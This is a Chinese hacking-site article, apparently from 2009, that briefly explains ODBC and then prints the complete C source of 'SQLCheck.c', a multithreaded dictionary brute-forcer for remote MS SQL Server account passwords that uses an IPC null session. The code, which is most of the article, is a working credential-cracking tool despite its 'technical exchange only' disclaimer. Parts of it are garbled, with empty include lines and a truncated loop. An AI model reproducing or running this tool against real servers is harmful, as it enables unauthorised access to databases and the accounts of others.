黑基网 首页 学院 电脑技术 查看内容

远程检测MS SQL Server账号安全性

2009-1-24 02:24| 投稿: computer

摘要:   ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。  ODBC下现实运用中是一个数据库的访问库,...
  ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。  ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。  一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:  <1>启动ODBC数据库应用程序。  <2>与服务器建立IPC SESSION。  <3>创建数据库应用的环境句柄。  <4>创建连接句柄。  <5>连接数据源。  <6>创建语句句柄。  <7>通过上一步创建的语句句柄来执行SQL操作。  <8>释放语句句柄。  <9>要进行多此SQL操作的话,就循环步骤6-8。  <10>断开与数据库的连接。  <11>释放连接句柄。  <12>释放环境句柄。  <13>断开IPC SESSION。  <14>程序结束。  下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。此程序只作技术交流之用,如用于不法用途,作者不负任何责任!  /**********************************************************  Module Name:SQLCheck.c  Date:2000.12.14  WEB:www.patching.net  Notices:Copyright(c) eyas  **********************************************************/  #include  #include  #include  #include  #include  #include  #include  #include  ////////////////////////////////////////////////////////////////////////  file://定义全局变量  char dict[20000][40],//密码字典  UserName[40],//用户名  target[40],//目标服务器  passwd[40];//已经探测出来的正确密码  int total=0;//字典里面单词数量  BOOL Cracked=FALSE;//探测密码成功时此值为TRUE  HANDLE hSemaphore,//信标内核对象  hEvent;//事件内核对象  long MaxThreads,//最大线程数量  ActiveThreads;//活动线程数量  ////////////////////////////////////////////////////////////////////////  void usage(char *pragname)  {  printf("\nPower by eyas"  "\nhttp://www.patching.net"  "\n2000/12/14"  "\n\nUsage:%s "  "\nExample:%s 192.168.0.1 sa c:\\pwd.dic 50\n",pragname,pragname);  return;  }  ////////////////////////////////////////////////////////////////////////  int ReadDic(char *dic)  {  FILE *fp;  char tmp[40];  file://打开字典文件  if((fp=fopen(dic,"r"))==NULL)  {  printf("\nCan't open %s",dic);  return 1;  }  while(!feof(fp))  {  file://读取数据到临时变量  if(fgets(tmp,40,fp)==NULL)  break;  file://把从文件里面读出来的最后一位数据[换行符号]去掉  strncpy(dict[total],tmp,strlen(tmp)-1);  total++;  if(total>=19999)  break;  }  fclose(fp);  return 0;  }  ////////////////////////////////////////////////////////////////////////  int ConnIPC(char *RemoteName)  {  NETRESOURCE nr;  DWORD flags=CONNECT_UPDATE_PROFILE;  TCHAR RN[30]="\\\\",  LN[5]="";  strcat(RN,RemoteName);  strcat(RN,"\\ipc$");  nr.dwType=RESOURCETYPE_DISK;  nr.lpLocalName=(LPTSTR)&LN;  nr.lpRemoteName=(LPTSTR)&RN;  nr.lpProvider=NULL;  if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR)  {  return 0;  }  else  {  return 1;  }  }  ////////////////////////////////////////////////////////////////////////  int DelIPC(char *RemoteName)  {  DWORD ret;  TCHAR lpName[30]="\\\\";  strcat(lpName,RemoteName);  strcat(lpName,"\\ipc$");  ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);  if(ret==NO_ERROR)  {  return 0;  }  else  {  return 1;  }  }  ////////////////////////////////////////////////////////////////////////  DWORD WINAPI SQLCheck(PVOID pPwd)  {  file://定义局部变量  char szBuffer[1025];  char *pwd;  SWORD swStrLen;  SQLHDBC hdbc;  SQLHANDLE henv;  SQLRETURN retcode;//ODBC API运行返回值  SCHAR ConnStr[200];//连接数据库字符串  long PreviousCount;  file://取得传递过来准备探测的密码  pwd=(char *)pPwd;  file://构造连接数据库字符  sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",  target,UserName,pwd);  file://puts(ConnStr);  __try{  file://创建数据库应用的环境句柄  if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS)  {  printf("\nAllocate environment handle failed.\n");  ExitProcess(1);  }  file://设置ODBC版本环境  if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)  SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)  {  printf("\nSet the ODBC version environment attribute failed.\n");  SQLFreeHandle(SQL_HANDLE_ENV, henv);  ExitProcess(1);  }  file://创建连接句柄  if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR  *)&hdbc)) != SQL_SUCCESS)  {  printf("\nAllocate connection handle failed.\n");  SQLFreeHandle(SQL_HANDLE_ENV, henv);  ExitProcess(1);  }  file://连接数据源  retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),  szBuffer,sizeof(szBuffer),&swStrLen,  SQL_DRIVER_COMPLETE_REQUIRED);  if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO)  {  file://连接失败,函数终止  file://printf("\nCouldn't connect to %s MSSQL server.\n",target);  }  else  {  file://连接远程MSSQL Server数据库成功  Cracked=TRUE;  strncpy(passwd,pwd,sizeof(passwd));  file://断开连接  SQLDisconnect(hdbc);  }  }//end of tyr  __finally{  file://释放连接句柄  SQLFreeHandle(SQL_HANDLE_DBC, hdbc);  file://释放环境句柄  SQLFreeHandle(SQL_HANDLE_ENV, henv);  file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值  ReleaseSemaphore(hSemaphore,1,&PreviousCount);  file://计算当前活动线程数量  ActiveThreads=MaxThreads-PreviousCount-1;  %d.",ActiveThreads'>file://printf("\nActiveThreads-->%d.",ActiveThreads);  file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束  if(ActiveThreads==0)  {  SetEvent(hEvent);  }  }//end of finally  return 0;  }  ////////////////////////////////////////////////////////////////////////  int main(int argc,char **argv)  {  HANDLE hThread;//线程句柄  DWORD dwThreadId,dwRet;  int i=0,err=0;  clock_t start,end;//程序运行的起始和结束时间  double duration;  if(argc!=5)  {  usage(argv[0]);  return 1;  }  file://取得目标地址,用户名  strncpy(target,argv[1],sizeof(target));  strncpy(UserName,argv[2],sizeof(UserName));  file://取得并检查用户输入的最大线程数量  MaxThreads=atol(argv[4]);  if((MaxThreads>100) || (MaxThreads<1))  {  usage(argv[0]);  return 1;  }  file://读取字典中的单词到内存中  if(ReadDic(argv[3])!=0)  return 1;  file://与目标机器建立IPC Session  if(ConnIPC(argv[1])!=0)  {  printf("\nCan't built IPC NULL Session!");  return 1;  }  else  {  printf("\nBuilt IPC NULL Session success!\n");  }  file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreads  hSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);  if(hSemaphore==NULL)  {  printf("\nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());  return 1;  }  file://创建事件内核对象[人工重置,初始状态为未通知]  hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);  if(hEvent==NULL)  {  printf("\nCreateEvent() failed.ErrorCode:%d.",GetLastError());  CloseHandle(hSemaphore);  return 1;  }  file://开始计时  start=clock();  file://开始建立线程探测密码  for(i=0;i {  file://探测密码成功后跳出此循环  if(Cracked==TRUE)  break;  file://显示进度信息  printf("\n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]);  file://创建线程  hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId);  file://处理创建线程错误的情况  if(hThread==NULL)  {  err++;  MessageBox(NULL,"thread error","error",MB_OK);  if(err>=50)  break;  }  CloseHandle(hThread);  Sleep(10);  file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态  WaitForSingleObject(hSemaphore,INFINITE);  }  file://等待事件内核对象通知,最多等待3分钟  dwRet=WaitForSingleObject(hEvent,180000);  switch(dwRet)  {  case WAIT_OBJECT_0:  printf("\nAll thread done.");  break;  case WAIT_TIMEOUT:  printf("\nWait time out.Exit.");  break;  case WAIT_FAILED:  printf("\nWaitForSingleObject() failed.");  break;  }  file://断开与目标机器的IPC Session  DelIPC(target);  file://探测密码成功后回显信息  if(Cracked==TRUE)  printf("\n\nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);  file://记时结束  end=clock();  file://转换时间格式  duration = (double)(end - start) / CLOCKS_PER_SEC;  file://显示所用时间  printf("\n\nComplete.Use %2.1f seconds.\n",duration);  return 0;  }  ////////////////////////////////////////////////////////////////////////  程序在windows2000,vc++6.0环境下编译通过。
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部